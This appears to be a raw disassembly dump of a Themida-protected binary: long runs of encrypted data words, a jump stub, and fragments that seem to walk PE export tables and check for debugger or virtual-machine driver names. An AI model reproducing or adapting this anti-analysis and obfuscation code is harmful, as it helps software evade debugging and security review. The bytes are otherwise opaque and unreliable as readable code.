dd 6C93277Dh, 30AD1739h, 8AFBA63Dh, 5EAF2A09h, 0BE47F240h
dd 8231CB4Ch, 0A50F4D62h, 0D775D3CDh, 5393EDE7h, 5880F11Ah
dd 67628AE6h, 5E4E8519h, 396F61F9h, 0AE86D4F7h, 12CE26CBh
dd 0A4970000h, 0B6AA9A38h, 0C6BEAE4Ch, 0E0D6C664h, 0F7ECDC7Ah
dd 2584F18Fh, 0BC5AC2B7h, 0D371D5CCh, 0EC8AEAE3h, 6A402FCh
dd 0D35A607h, 1C75FE64h, 4C74B709h, 0B56FE908h, 71D3CBB6h
dd 0FC6D186Eh, 6FE908D4h, 4AF58DDBh, 0FB0BACD9h, 0C46FBD69h
dd 0F795F5EEh, 25857E54h, 0CFD2362Dh, 3E370F79h, 39AA33DEh
dd 75FB1511h, 7D60CA18h, 0E2483E14h, 48A6A078h, 6473D056h
dd 3A88B73h, 1250h, 18B62215h, 2CCA3428h, 44E2443Ch, 5AF85E54h
dd 6F0D756Ah, 4035A702h, 534A3AD8h, 686151EFh, 807A6A08h
dd 24858422h, 0FE658BB3h, 2D7F9275h, 3A62D35Ch, 416FE907h
dd 10C89F3h, 784ED782h, 671D207Eh, 8720A72h, 0FB0A6895h
dd 802B7969h, 4B4EB4AAh, 77008BF5h, 4548A8A1h, 0ABD344EFh
dd 0B275FB16h, 2E22FA64h, 423626C4h, 0F24EBBDCh, 0C45C2329h
dd 0B3110BC1h, 0D53D3208h, 2F127CD2h, 6A3919D8h, 1C6E0C76h
dd 2BBAB326h, 1B857931h, 0CC9AC718h, 18B775FBh, 0B756938h
dd 0C4B5EE60h, 0B90590E4h, 0EDE1D14Fh, 0C2C52F23h, 0C884D86Ch
dd 0F3364C1h, 350B7477h, 80D6D93Fh, 272A9488h, 0E3EA67D1h
dd 562CB560h, 3DA19862h, 0E24CE43Ah, 0F40F16Fh, 23CE1C70h
dd 4AF5534Dh, 83177F74h, 0CEF70F40h, 910F79B0h, 0C536A7A1h
dd 6FF06C9Dh, 80A5317h, 54530222h, 106B6E06h, 52DB861Dh
dd 0E33058C9h, 0F13F6FF0h, 33111487h, 0EE3C6A04h, 0B5736D43h
dd 1575ABEh, 0E1DBCB69h, 26258083h, 0BE7FF09Bh, 0CF700DA2h
dd 0E58D8F81h, 0D7BA7975h, 111B32h, 0EB574A00h, 0FF695D4Dh
dd 17797161h, 2D938979h, 42AA9F8Fh, 6AD837A4h, 7F6F0D75h
dd 96862488h, 0AF9F3D9Dh, 0BAB957B5h, 66C0E859h, 0BCCF75FEh
dd 743746Ah, 58516FE9h, 0C6C55AF8h, 0C3BA903Bh, 0F96AF55Fh
dd 69FC56EEh, 456DDE3Fh, 5475FE57h, 0EDC36E06h, 0A1F593F5h
dd 9D86B30Ah, 17CFAD8h, 6AA00000h, 5C81DD6Ch, 0E907BEEBh
dd 0F09B296Fh, 0BDC0221Ah, 5CC1FD67h, 0A206FDD3h, 0A3DF499Fh
dd 6A2D6046h, 2D82DE6Dh, 0E2616AD1h, 8F865C86h, 0E70F802Bh
dd 0F66FE907h, 48643EA8h, 2F8F865Ch, 5FDBF4ACh, 78700862h
dd 0D5B21C82h, 0D51E2A8Eh, 4FB5h, 6D6A5B00h, 865C82DEh
dd 0D42A2D8Dh, 8056DF6Ah, 0CF252886h, 7C5F265h, 86D46FE9h
dd 90865C2Ah, 67D1272Ah, 170FA2DCh, 865C59B5h, 0D2282B8Fh
dd 0C24BD668h, 0E9072951h, 78E2306Fh, 8E865C3Ch, 0DA72D4CCh
dd 918981D7h, 3BFEC52Fh, 0AC000000h, 82DE6D6Ah, 0B26DEA5Ch
dd 5D60BEB8h, 0FF47307h, 5B83F49Fh, 626FE9DAh, 961FAA14h
dd 0FC66C8C0h, 0E9DA5C89h, 0E4D9C76Fh, 8B23797Ch, 5C225C2Fh
dd 0C02A9086h, 328EF0E8h, 0C30A1955h, 98D51D86h, 7769E0Fh
dd 37856CE9h, 2B94CDh, 6A3A0000h, 5C86E261h, 0E907BEEBh
dd 2581CF6Fh, 3A62D35Ch, 416FE907h, 0C4FE89F3h, 55B11B0Fh
dd 0FBF4CA55h, 20F5319Bh, 43h, 0E2616ACEh, 66A6137h, 0EB5C609Ch
dd 6FE907BEh, 67F09B29h, 0E907CEF6h, 9293DD6Fh, 6CAAC91Ah
dd 9FDB45DDh, 3A62D35Ch, 416FE907h, 9F379D93h, 5C70AA35h
dd 0BF299186h, 2F29F3E7h, 0E078CED1h, 5C195584h, 3BF50AEAh
dd 3FB0BB90h, 6FE96817h, 9540D826h, 0E968FC24h, 4BB5036Fh
dd 0FFFE7B84h, 636A32FFh, 26C435E0h, 0E969FC58h, 201AF09Bh
dd 908F24C2h, 0BDE55601h, 0CC75FE58h, 58D2FA6Bh, 8BD975FEh
dd 0B187F0F3h, 9D5356BAh, 3FA941A7h, 0FE58A6CCh, 19F9D275h
dd 32CFEE45h, 6635DEh, 74DB0000h, 6FE90748h, 0ADA6645Eh
dd 49F44A4Dh, 0E907B0D8h, 0D971BF6Fh, 0D9CFA52Eh, 7B8E073h
dd 66C76FE9h, 0E907CDF5h, 0F68EDC6Fh, 56830E8Ch, 0C96FE907h
dd 23943FC2h, 69FB1262h, 0E9721D6Bh, 0FB1E5078h, 1A42B375h
dd 2175FB1Eh, 8E86D4D3h, 0D92F3298h, 0DC4EF16Fh, 6D41720Ch
dd 5DC5BAA7h, 0B8945BC5h, 42000000h, 35E0636Ah, 0FB36AFC4h
dd 85307E69h, 6A3026FCh, 0D770F73h, 827C3C35h, 3778A011h
dd 398775FBh, 0B0489EA1h, 0C9292212h, 0E1606BC6h, 0DDD7AD36h
dd 29C12B1Fh, 87C64CBFh, 0FF49700Eh, 0D2C7197Ch, 7D11676Ah
dd 49E1C0B6h, 6FCFC89Eh, 88E8E1D1h, 40232A85h, 0A24DE549h
dd 0E84C4319h, 0B2258FE5h, 6A0365B9h, 668EFF60h, 7575FB5Ah
dd 0EE48F27h, 7518B614h, 0DB45A79Fh, 0B9AB0903h, 73642E51h
dd 1152F7DAh, 5400000Eh, 6757F561h, 7B6B0973h, 93832183h
dd 0A999379Dh, 41AE4CB4h, 177F74E6h, 2E928979h, 47A7A090h
dd 61BFB9A9h, 0F263C4C3h, 75FE69CAh, 0F6CBED1h, 830CB715h
dd 0E907EA12h, 9FFFF86Fh, 0F947469Ch, 0FCF6AC8Fh, 0C67F9B9Eh
dd 0BF1D17E6h, 84F57E21h, 6FE9075Ch, 5BBDB563h, 6A0258h
dd 1D7ECC23h, 4813D8h, 6AB90000h, 0C435E063h, 69FB05E7h
dd 58BEB48Ah, 0E0E40355h, 61E5593h, 0D725046Eh, 0C6241ED4h
dd 0E03E3828h, 0D20274DDh, 0EAC68317h, 838A0771h, 0CFE45500h
dd 5E700D72h, 0F9CF7210h, 489EA1FFh, 13042C9Dh, 0BD0B6FE9h
dd 1B0F1753h, 2F2313B1h, 3E71C2C5h, 566FE907h, 0E052FD5Dh
dd 44FBF74Eh, 785EFC3h, 3DE87B72h, 0FC5BB0CCh, 18155F69h
dd 0A9034F3Bh, 1BF19C34h, 0CF23C123h, 9D86B30Ah, 12BFAD8h
dd 6AA00000h, 5C81DD6Ch, 0B1D94AD3h, 0B86FE907h, 608D006Ah
dd 0CB6FE907h, 0D35CE13Dh, 7B1D94Ah, 6AB86FE9h, 6046C400h
dd 0DE6D6A2Dh, 1139AA33h, 186FE907h, 75DDD2CAh, 76B21C72h
dd 616AD12Dh, 0F10D86E2h, 1D86C30Ah, 2DEAD5h, 6A900000h
dd 23877E6Dh, 0EB5C2F8Bh, 6FE907BEh, 5C2581CFh, 0B5170F22h
dd 5C195559h, 282B8F86h, 0C3E43ED2h, 882BC395h, 39571Eh
dd 6A050000h, 5C82DE6Dh, 0E907BEEBh, 1788296Fh, 6FE907EFh
dd 0BC18B0FEh, 0D35C225Ch, 0E9073A62h, 9C93416Fh, 47DF3538h
dd 0AB0D05DDh, 38EA5C4Fh, 3D4E71C3h, 0A90701F9h, 0A71AD3Fh
dd 0D51D86C3h, 3CEAh, 616A9000h, 0EB5C86E2h, 6FE907BEh
dd 5C2581CFh, 417308EAh, 0B549031Eh, 4758A327h, 0FD88F23Bh
dd 0B11B0FC3h, 0E1739406h, 7701DE2Ah, 4ADEA8A5h, 8FF9914Ch
dd 20195553h, 2Fh, 0CF616ACEh, 0E907365Eh, 5FF7456Fh, 81E9DEB4h
dd 0EB5CDB17h, 6FE907BEh, 31A29F29h, 0CA7C9DD9h, 0BBB18732h
dd 5CAFEB55h, 0B11B0F22h, 20195555h, 0FFFFFECCh, 0E0636ACEh
dd 0DDD6AC35h, 2A0137Dh, 0D69FC58h, 0A026A5Fh, 59AFB210h
dd 464016C1h, 1EA74AE8h, 5DF04E48h, 75FE5835h, 0F8CF644h
dd 65D68110h, 75FE583Dh, 4B202EA0h, 1F9A7459h, 8588D6B5h
dd 0FE4E0E34h, 81613A75h, 32C656ADh, 159DDEh, 74430000h
dd 6FE90748h, 7CDCD5ABh, 0E2403A12h, 0BB6544h, 6A130000h
dd 0C435E063h, 69FB0ADBh, 93691462h, 0E1373A9Ah, 1D16EC77h
dd 131139AAh, 6A1875FBh, 0B3090C76h, 0F5E5831Bh, 7FF19CFCh
dd 3F426015h, 1D006A86h, 8D38CBC2h, 0D5352E04h, 0C0261CD2h
dd 0B94BBE28h, 54700EBAh, 0FCD25B06h, 0E40C9F07h, 0EB6FF039h
dd 0D2A8339Dh, 0EBDB79D9h, 268F92F2h, 0EFF25C50h, 0BBB22F99h
dd 130C7D28h, 3A6A037Ch, 716B41ECh, 0C3211B13h, 0FEF8CE59h
dd 181202A0h, 438C8BAh, 0FCDF7364h, 0B0B57h, 0FB675A00h
dd 0F796D5Dh, 27898171h, 3DA39989h, 52BAAF9Fh, 7AE847B4h
dd 8F7F1D85h, 0A6963498h, 0BFAF4DADh, 0CAC967C5h, 6CD0F869h
dd 0CCDF75FEh, 0A4150F7Ah, 0E9070B33h, 2CC4126Fh, 1B797329h
dd 6343FC18h, 9E3C9A94h, 1D7F52A9h, 3F99D8h, 7EF00000h
dd 0FFF97640h, 0CE0A74CFh, 35E0636Ah, 0FB1C5FC4h, 8790269h
dd 75FB24E0h, 5837A1EFh, 4B4EB4AAh, 0A45A5DF5h, 0BEAE4CAAh
dd 86366C4h, 62D37E05h, 700D2779h, 3107B200h, 0EB69D33Dh
dd 0B11B0F97h, 7578813h, 847D6FE9h, 0ABA37924h, 86F04649h
dd 978F6508h, 789B122h, 42906FE9h, 668EFFAAh, 756FE907h
dd 4D40BD27h, 779A0BB6h, 9669FC56h, 0CFC79D48h, 0A7BCF6Dh
dd 0D89D86B3h, 12EFAh, 6C6AA000h, 865C81DDh, 0D2282B8Fh
dd 3F6CDD68h, 0A86FE907h, 225CBE1Ah, 6A2D6046h, 2D82DE6Dh
dd 0E2616AD1h, 0AF10D86h, 0D51D86C3h, 40EAh, 6D6A9000h
dd 865C82DEh, 33BE2892h, 88B021AAh, 9E6FE907h, 0EA4043A7h
dd 0F1198AEBh, 0F86FE907h, 35A812AAh, 6FE90708h, 1F47B819h
dd 2E6FE907h, 5CEC48E0h, 0B5170F22h, 20195559h, 2Bh, 0DE6D6ACEh
dd 0BEEB5C82h, 296FE907h, 211AF09Bh, 5C1B57C1h, 55170F22h
dd 4B73E461h, 526FE907h, 0B3696C04h, 28C058BCh, 0A1955CCh
dd 0D51D86C3h, 29EAh, 616A9000h, 0EB5C86E2h, 6FE907BEh
dd 5C2581CFh, 0A107FDD3h, 1B0FFB37h, 0F4F75951h, 4BAFA69Eh
dd 195557B3h, 5020h, 616ACE00h, 865C86E2h, 7CCA2E90h, 2675963h
dd 0A711676Ah, 0C17EAB1Ch, 5BE96FE9h, 96C73EB0h, 7D84A876h
dd 0CC222583h, 0F172A034h, 5A5727h, 225C5A96h, 6B11B0Fh
dd 2F1A7A94h, 0E74C501Fh, 0E3829607h, 89C52FC7h, 0F4CA55h
dd 0D33D9396h, 90865C97h, 0D9D1272Ah, 22787BE5h, 0FEC9F1B8h
dd 6A9FFFFFh, 26888063h, 0D472E38Eh, 3B69FC57h, 726C42EDh
dd 0E6E17614h, 0FD95FFF3h, 58B9E152h, 12C075FEh, 0C9BDB51Dh
dd 6E065C5Fh, 0A1C93AC3h, 0A875FE58h, 0BC0DF05Ah, 75FE5896h
dd 4245A9A0h, 2B2E988Ch, 0BF2E0EC7h, 5C3010E9h, 0DE32D005h
dd 3F4Ch, 4874F200h, 0AB6FE907h, 789B122h, 42906FE9h, 480600D8h
dd 0B452EA54h, 0EF178811h, 696FE907h, 3E562225h, 1E6C6B46h
dd 0E2EDB4h, 0DA4C0000h, 8BFCF262h, 6FE92D63h, 0A2881C6Ah
dd 2D69D3A4h, 4FDD35Ch, 0B84BA1A4h, 6FE90790h, 6AE7519Fh
dd 0C435E063h, 69FB1BA3h, 9B711C6Ah, 0B4A442A2h, 0DAB05BBBh
dd 341781E1h, 0CB3CD2D9h, 75FB24A3h, 19C45CAAh, 0E751AA8h
dd 0FCA7F570h, 70683226h, 810C760Eh, 0B452B2ABh, 110BCBC4h
dd 0C25AB0B3h, 0F51D8E17h, 46FF053h, 63C7BEB6h, 0B0BB16F9h
dd 0DE76DAD1h, 95C9C233h, 32A46A03h, 52457914h, 140D0567h
dd 1D6B4AB4h, 5078E972h, 0CA75FB89h, 0E7107859h, 459392B7h
dd 8BF5534Dh, 0D2302A00h, 0EC4A4434h, 641804FAh, 7F240773h
dd 7D8h, 902E9A8Dh, 0A442ACA0h, 0BC5ABCB4h, 0D270D6CCh
dd 0E785EDE2h, 0B8AD1F7Ah, 0CBC2B250h, 0E0D9C967h, 0F8F2E280h
dd 9CFDFC9Ah, 0FE6F032Bh, 0A5F70A75h, 6057150Fh, 0AB6164FCh
dd 9A5053B1h, 843A3DA5h, 0CF26298Dh, 63C13010h, 91F1EAC0h
dd 0D7A68627h, 0ECE17FDDh, 0D81D7A95h, 0D653188Ah, 7E5BCB0Ah
dd 7ADB14h, 0A9320000h, 0E88D1038h, 0D9D11F6Fh, 0D6127CE4h
dd 35E0636Ah, 0FB0463C4h, 9F75FE69h, 0EE4447A5h, 0FB0C335Bh
dd 0F51D8E75h, 475FB0Ch, 0FF69B7B6h, 264EBF20h, 3575FB0Ch
dd 8F26D8EBh, 932BE878h, 68FF8FBh, 0FB546D95h, 0C42E7C75h
dd 0FB542551h, 0E5433B75h, 4C364E05h, 5E61F9ABh, 494CB2A8h
dd 0E65535ECh, 53C44D10h, 75FB852Bh, 0D97AE432h, 0F8CE25F9h
dd 5315DE2Fh, 0BB000000h, 2991865Ch, 0E966D026h, 43B45FE2h
dd 69FB2432h, 0F4544DFBh, 39BF1h, 6EDF504Ah, 75FB2946h
dd 0C46F0755h, 0C669AC52h, 0FBB42D55h, 5AEE3C75h, 7DE768BAh
dd 57150FFFh, 6265FD5Fh, 0D27D0407h, 0AA6ED749h, 70383B1Dh
dd 18729306h, 4D9B700Eh, 7CAD5BAFh, 1AC55C4Fh, 0FB2F0CA9h
dd 0B5AFFD69h, 0B1749B62h, 7A0904B5h, 67815ECFh, 4290305Fh
dd 5AE9E43Fh, 9EBD3EAFh, 17A02A71h, 4D617EA6h, 0D53F8D36h
dd 27FDA8F6h, 4131CF2Dh, 0FDF7E947h, 0FAB31227h, 65E7217h
dd 14070000h, 261A0AA8h, 362E1EBCh, 504636D4h, 675C4CEAh
dd 95F461FFh, 2CCA3227h, 43E1453Ch, 5CFA5A53h, 7614726Ch
dd 7DA51677h, 8C75FE70h, 150F2779h, 0C24BB4B7h, 0E9072951h
dd 78E2306Fh, 0A846A8A0h, 33291813h, 198A35CDh, 69FC588Bh
dd 98FEF4A2h, 4F47FD00h, 3167FBEDh, 11F47361h, 5FB6Ch
dd 0B776A00h, 1F897D6Dh, 37999181h, 4DB3A999h, 62CABFAFh
dd 8AF857C4h, 9F8F2D95h, 0B6A644A8h, 0CFBF5DBDh, 0DAD977D5h
dd 71E00879h, 0DCEF75FEh, 62D35C8Ah, 6FE9073Ah, 0C89F341h
dd 66D78201h, 69FC57D4h, 79E2E533h, 4649ABA3h, 0B6AE86F0h
dd 30F66254h, 6E517361h, 59FC9h, 67D3C600h, 7BE5D9C9h
dd 93F5EDDDh, 0A90F05F5h, 0BE261B0Bh, 0E654B320h, 0FBEB89F1h
dd 1202A004h, 2B1BB919h, 3635D331h, 713C64D5h, 304375FEh
dd 0E0636ADEh, 583EC435h, 7F5569FCh
dd 352B2389h, 388665CFh, 5BC1B78Dh, 0CFA50EF1h, 0BE7477D5h
dd 0D6366C4h, 3B330B75h, 316FE7D9h, 0E9CC7361h, 53B44h
dd 0CB372A00h, 0DF493D2Dh, 0F7595141h, 0D736959h, 228A7F6Fh
dd 4AB81784h, 5F4FED55h, 76660468h, 8F7F1D7Dh, 9A993795h
dd 72A0C839h, 9CAF75FEh, 0B7150F4Ah, 0A604FEB4h, 0AF8F46A3h
dd 0B33A42Dh, 196FE907h, 63B9BC24h, 0D4AC1664h, 5FD17CDAh
dd 632F0778h, 2CAA1469h, 0E1E4423Ch, 0E9C36390h, 6CF57E6Fh
dd 0E9C3D3FBh, 85EBE16Fh, 0DF2D2C82h, 218BF1E7h, 0D7D1A080h
dd 0C638DB79h, 0DB9AE3E3h, 4C248E8Dh, 3BF1F452h, 0A245E341h
dd 1812D4CCh, 0C91F22BAh, 58EBE25Fh, 767F3CADh, 408E69FBh
dd 49C0EC3Dh, 35F875FBh, 104685Fh, 0C0A041ABh, 0AC72683Eh
dd 0F54B4EB8h, 9A045A5Dh, 2FC066BDh, 36ADDEh, 6A530000h
dd 0C435E063h, 69FB11C3h, 0A8F9FC4Ah, 75FB1E7Ch, 0DED49E92h
dd 871F7578h, 15D5CE84h, 63B9BC1Ch, 8D06C8CBh, 8F683EADh
dd 9184DBAFh, 0E6CBDE2Fh, 71000000h, 0CB7150Fh, 74DE3C36h
dd 82E6DB91h, 0EEEAA8B3h, 938B8371h, 40D82E31h, 8FED43Dh
dd 666038A2h, 139C0508h, 0E9B37AA2h, 0D9D3816Fh, 0A179E37Bh
dd 6F954DA7h, 0C2163EAFh, 0D7256FE9h, 22827943h, 0F661EC8Ah
dd 8E6FE969h, 28B3694h, 0E96A6991h, 0B822706Fh, 0F2504A3Ah
dd 0A9994EFh, 8835EE5Fh, 0B66469FBh, 85A5DBDh, 0F489C52Ch
dd 6F079F86h, 52313CD1h, 9FF5F85Ah, 61D35C07h, 0B58EEFDDh
dd 376E093h, 700FFE6Dh, 0E1B762B0h, 43E684ECh, 404BF7D1h
dd 0D943B512h, 0B2A40C01h, 7970119Ah, 9905AA8Dh, 0CC000003h
dd 0DFCF6DD9h, 0F3E381EBh, 0BFB99FBh, 2111AF15h, 0B926C42Ch
dd 8FF7EC5Eh, 0A60A01F1h, 0BF1F1808h, 0D9373121h, 6ADB3C3Bh
dd 75FE7342h, 0FE43649h, 7114B21Ah, 0D53FA59Bh, 7A503FDh
dd 80636AB3h, 0DF8A228Ch, 14878056h, 0E9077BA3h, 9C34826Fh
dd 66D94399h, 69FB1165h, 25356A4h, 75FB1ED6h, 3D32F4ECh
dd 843A3DD5h, 3C322A8Ch, 0FEB7D3D6h, 0D9AF1Eh, 91F54C20h
dd 61EADE2Fh, 0FB12C8F0h, 8DBD4275h, 0B0C985ECh, 0C0F963B1h
dd 0DAh, 0B7150F66h, 7A40360Ch, 0C41A1D85h, 69D3292Ch
dd 73DBD086h, 3B41F70h, 0CEC86FE9h, 0E8E2D270h, 0AC1E878Ah
dd 1E597524h, 62DF490Ch, 77D2DC6Bh, 98324F87h, 0E1373AA4h
dd 9406B149h, 3E7C17CDh, 72FD6769h, 0C7EF60E9h, 0D66FE9B3h
dd 0F2AB1E88h, 1B69FBD0h, 584C22CDh, 630684EEh, 954169DAh
dd 0FA4875FBh, 89181390h, 8566CDEh, 28D5903h, 659C0D98h
dd 68701059h, 0A4996F1Ah, 8184E2DCh, 0E70F802Bh, 0F66FEF07h
dd 827210A8h, 733258Dh, 4797082h, 26E7C21h, 4F70000h, 160AFA98h
dd 261E0EACh, 403626C4h, 574C3CDAh, 85E451EFh, 1CBA2217h
dd 33D1352Ch, 4CEA4A43h, 6604625Ch, 6D950667h, 7C75FE74h
dd 1A0F1769h, 783DC1B6h, 8E266073h, 0A80600F0h, 150FB60Ah
dd 62FA6257h, 51AFA95Fh, 942F1EB3h, 41778E9h, 287669FBh
dd 9C4ABC25h, 1513CDE2h, 0D89CC435h, 55A375FBh, 0B4E053BDh
dd 0EC75FBD8h, 85F3313h, 4FDE3050h, 25h, 0E0636AF5h, 1203C435h
dd 0BC0A69FBh, 1E3C68B9h, 9B7475FBh, 9190E7BBh, 20D7DE2Fh
dd 2E000000h, 93FD6158h, 7477457h, 0B5B86FE9h, 1D14D6CEh
dd 0C860B6B9h, 3148530h, 0A69FB2Ch, 6ACA1EBCh, 0C435E063h
dd 69FB01F3h, 98E9EC3Ah, 75FB0E6Ch, 69EBCBA4h, 0B1110AE0h
dd 9DC558AEh, 0AC75FB0Eh, 0E6C665Eh, 6E4BB50Bh, 0DE2F8617h
dd 255Eh, 48740400h, 0B96FE907h, 0FB842FB2h, 7D90172h
dd 92E06FE9h, 2BA4B528h, 248569FBh, 0FB348BB3h, 0AC449275h
dd 636ABA0Eh, 0DD30B0E4h, 740CFD5Fh, 46B740C9h, 6FE9621Eh
dd 275DF2Dh, 69FCB384h, 0BC923D8Bh, 0E3B964C2h, 0CA3428ECh
dd 0EE168732h, 0FD75FE11h, 0D7C745AFh, 0FED47FDDh, 0F8209106h
dd 775FE11h, 0D4B721B9h, 44EF7279h, 1160D0D3h, 842F7D70h
dd 0AB56B4AEh, 797CDCD5h, 0D2322B23h, 910F79CFh, 0BE2018EEh
dd 0A47169BBh, 33B61E2Ah, 5F59319Bh, 0BF95FE01h, 7BF862CAh
dd 0D546F170h, 69FB8214h, 3BF5E735h, 0BC736407h, 0D234D9h
dd 0A0930000h, 0B2A69634h, 0C2BAAA48h, 0DCD2C260h, 0F3E8D876h
dd 2180ED8Bh, 0B856BEB3h, 0CF6DD1C8h, 0E886E6DFh, 2A0FEF8h
dd 931A203h, 1075FE76h, 636AABFDh, 0CDC435E0h, 5069FC56h
dd 0B24AA8A2h, 7B7046AFh, 0CFF76813h, 0DE75FE57h, 544E2690h
dd 6E6858F6h, 978F6510h, 72DC3235h, 9FE23E8Fh, 0DA916257h
dd 0D3312BFAh, 0ED4B4535h, 87F881EAh, 0A5A7205Fh, 0DEB6206Eh
dd 7C186E8h, 6F56878h, 0A7376D95h, 962E7CA5h, 5145FBFEh
dd 342EE4E7h, 0D9DAA0DAh, 45DDCEAAh, 4C2CEB42h, 0A58544DDh
dd 91574D23h, 0E0363997h, 9A8F4548h, 41D92F32h, 0A705FFD7h
dd 0EABA8AFCh, 569725EBh, 0F5CB6EECh, 552D9701h, 55FAFD5Bh
dd 8, 340A9503h, 3672DC3Ah, 0ADB01C0Fh, 9C9FFDF7h, 8A8DEDE6h
dd 7679DDD4h, 6063CBC0h, 4A4DB5AAh, 35389E94h, 2225877Fh
dd 0B0E786Ch, 0E089504Dh, 405h, 4E88300h, 5C240487h, 68240489h
dd 2BCDh, 53241489h, 0C381E389h, 4, 4EB81h, 1C870000h
dd 1C895C24h, 0D8B85024h, 0BA26BD1Dh, 0DF583519h, 29C281h
dd 0C20107F7h, 29EA81h, 545807F7h, 81241C8Bh, 4C4h, 0BA525200h
dd 0E8145BDh, 4245401h, 8438F5Ah, 0BD086B81h, 0FF0E8145h
dd 835B2434h, 34FF04C4h, 0C4815A24h, 4, 0FD0F04E9h, 0BF3E17FFh
dd 0AE858BC6h, 3A5E444Ah
db 0EAh, 2Ah, 0B4h
; ---------------------------------------------------------------------------
loc_57DB1F: ; CODE XREF: Themida_:0057BC30j
mov eax, 615707Bh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 17280BE2h, 3AE7A43Bh, 5C40ADA7h, 181639F7h, 224BDC62h
dd 36484659h, 5388226h, 0BE618F3h, 3487E0D2h, 0DE8h, 0C1E44500h
dd 0EC4CD568h, 3ADDD55Bh, 81607FF7h, 938230D8h, 0F5E6108h
dd 0C681DEB7h, 6070h, 58A0Fh, 2CBB0000h, 2B3E76D6h, 3C8BF5D2h
dd 817CB316h, 3DF7F9F7h, 3890F73h, 66000000h, 0F781DE8Bh
dd 761AF377h, 0FA07B966h, 99A7C781h, 0E08167A4h, 6635723Dh
dd 0EE857h, 0D4F70000h, 328A9F2Dh, 0A30EAEC1h, 8ECAD25Bh
dd 8F5BDA8Ah, 0BF0F1604h, 606056CEh, 0F3C1BB61h, 58616414h
dd 6604EA83h, 81BE22BBh, 0FFA028FAh, 9B850FFFh, 60FFFFFFh
dd 526AEB80h, 58F9BF0Fh, 83E961h, 51530000h, 8B575652h
dd 661C245Ch, 5A4D3B81h, 68850Fh, 0B70F0000h, 0D8033C43h
dd 503B8166h, 57850F45h, 8B000000h, 5C03785Bh, 738B1C24h
dd 24740324h, 7B8B561Ch, 1C738B20h, 20247C03h, 20247403h
dd 0FFC983FCh, 245C8B41h, 3178B1Ch, 83202454h, 28A04C7h
dd 874C084h, 0E875033Ah, 0F2EB4243h, 0E075033Ah, 0FE1D15Fh
dd 8B0F04B7h, 44038604h, 5E5F1C24h, 0C25B595Ah, 0C0330008h
dd 0FFFFF1E9h, 0EBCA8BFFh, 53464934h, 2052474Dh, 444B5620h
dd 20202020h, 4D4D5620h, 20202020h, 49575620h, 2032334Eh
dd 44585620h, 2052444Ch, 20h, 2 dup(0)
dd 7C6E900h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 0E0E1B1C3h, 10E903h, 4FC60000h
dd 51BDF6AAh, 0AFAAEEECh, 71D67B2Bh, 60FCD7CBh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 9EC35545h, 0C2AECD37h
dd 456E7F85h, 9E8F960h, 5D000000h, 3C6A2592h, 26D72FBDh
dd 45F7BF66h, 0C7F9615Eh, 15728B85h, 6, 6E900h, 3DCF0000h
dd 0BA8854BEh, 5E9C68Bh, 0
dd 5D818BE2h, 6AD8B70Fh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 52BFC350h, 2FADF278h
dd 0C1FCF907h, 0CE910E8h, 64000000h, 440BB629h, 0AA37B579h
dd 0E973ADCEh, 0Ah, 85C631E3h, 0F9C441BBh, 0C1667A66h
dd 6A08C8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
dd 50400000h, 0FBF431C3h, 187461DFh, 0E9CED811h, 8, 924F3E27h
dd 6629F4CFh, 728F8589h, 6A0615h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 0CA4FE6C3h, 0E9603CF9h
dd 12h, 0CF8BA071h, 798B857h, 0B5CB7F48h, 0D7E21451h, 57602183h
dd 860F5Fh, 61000000h, 7880F61h, 0F000000h, 180h, 0C166F800h
dd 6A08CBh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 600739C3h, 0DA22BF66h, 6061C18Ah, 2840Fh
dd 61600000h, 40FB8361h, 59850Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BD8DE6C3h
dd 6157263h, 0CE9h, 0A2EEB400h, 0E8ED512h, 88167643h, 19FE95Ch
dd 8E0F0000h, 1Bh, 158F0Fh, 10E90000h, 0C0000000h, 35CBFFF1h
dd 3FBC8B0Fh, 55E30926h, 839C4DC4h, 850F0DFBh, 5Bh, 8820Fh
dd 860F0000h, 2, 8DFC6160h, 15726BBDh, 198C0F06h, 0F000000h
dd 138Bh, 0EE900h, 0BCFC0000h, 0FC4CC5BEh, 0D6843171h
dd 271F1774h, 10E9h, 1205DE00h, 7A59F0Eh, 0F77213CFh, 2AFD9647h
dd 127E90Dh, 8C0F0000h, 7, 18A0Fh, 83F80000h, 850F01FBh
dd 71h, 0BD8DF8F5h, 6157273h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 0BDC35646h, 57045A9Fh, 0E2E93997h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 0F35CC353h, 0F2BBDA0h, 158Eh
dd 10E900h, 96800000h, 0F1D0F570h, 6634706Fh, 0E98D638Fh
dd 0F602E37h, 0D08ACBBFh, 2AFB8361h, 4D850Fh, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 9E01FCC3h, 5578CB04h, 727BBD8Dh, 0E9600615h, 8, 0F4191B87h
dd 346E2C83h, 5E9h, 82E2000h, 0E961F0B5h, 51h, 18B0Fh
dd 83F50000h, 850F27FBh, 332h, 0FE9h, 20551700h, 0D120993Dh
dd 0B6C9390Bh, 4B4A6FEBh, 7283BD8Dh, 6A0615h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E996CCC3h
dd 5, 0F496DC0Fh, 93BD8966h, 6A061572h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0BED5C351h
dd 0CC4560BCh, 6E98Eh, 37AC0000h, 8973291Bh, 6AC88C66h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 0FD5C351h, 78Bh, 1820F00h, 0F8000000h, 6A0324h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 3554C1C3h, 59662652h, 0A800Fh, 0F600000h, 81h, 61616000h
dd 850FC00Ah, 179h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
